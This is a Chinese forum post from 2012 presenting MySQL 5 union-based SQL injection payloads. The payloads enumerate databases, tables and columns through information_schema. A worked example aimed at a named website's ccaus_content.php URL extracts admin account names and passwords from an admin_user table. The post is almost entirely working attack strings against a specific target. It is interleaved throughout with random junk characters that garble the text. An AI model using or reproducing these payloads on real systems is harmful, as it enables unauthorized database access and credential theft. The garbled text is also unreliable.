查库
( k( y8 J2 _' N" h) m% O) k2 R+ X, m! N6 H
id=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 1,1/*
5 u0 G% \. G" J' [8 \# m I
( z4 A" b6 ^7 b9 Y查表
) L; _% i! F! t6 ^/ z7 ^3 U$ i6 F4 W7 E- F9 [" U; b
id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
7 f3 X' D* H* E- I2 o6 R# l6 S/ @ R1 X; _: Y, U- }% R
查段
6 y! [: |' [. S4 h
+ @$ l& R7 L/ U6 l3 Kid=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
! I' }: m, v' D; s4 R
* |8 X5 o. ^* L& j- j0 n: z1 R9 ~4 J
mysql5高级注入方法暴表
& K& d1 T8 P' j8 c [# k1 c8 g
1 t9 k Y U6 h例子如下:
; p" w$ g' X4 V* c
' j; C1 Y9 Z8 x( M1.爆表! ?7 @. A* g5 I7 N7 \; e" r
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/* (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
3 v1 ?. L2 S! R+ A2 e7 g; T) G7 m; t这样爆到第4个时出现了admin_user表。+ p: L7 y, I* I) ?/ C
5 V$ D. X# ?) S! }! n2.暴字段 z3 o( C# e B/ g
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*/ A; F4 ]$ z0 ~2 R( c2 }4 L! L9 T
. E" X# f- q, m' f' V
Y( ~8 k8 X* z# E& `6 |( t X3.爆密码
) `: K! |$ v: G( |; q% i1 W+ Fhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
$ c" p. i6 y$ X) U7 E Y+ \/ L3 `" B* R' [* p% _% l% A
( S8 A- C) s! I9 b% u7 Z |
发表于 2012-9-13 16:29:37
收藏
支持
反对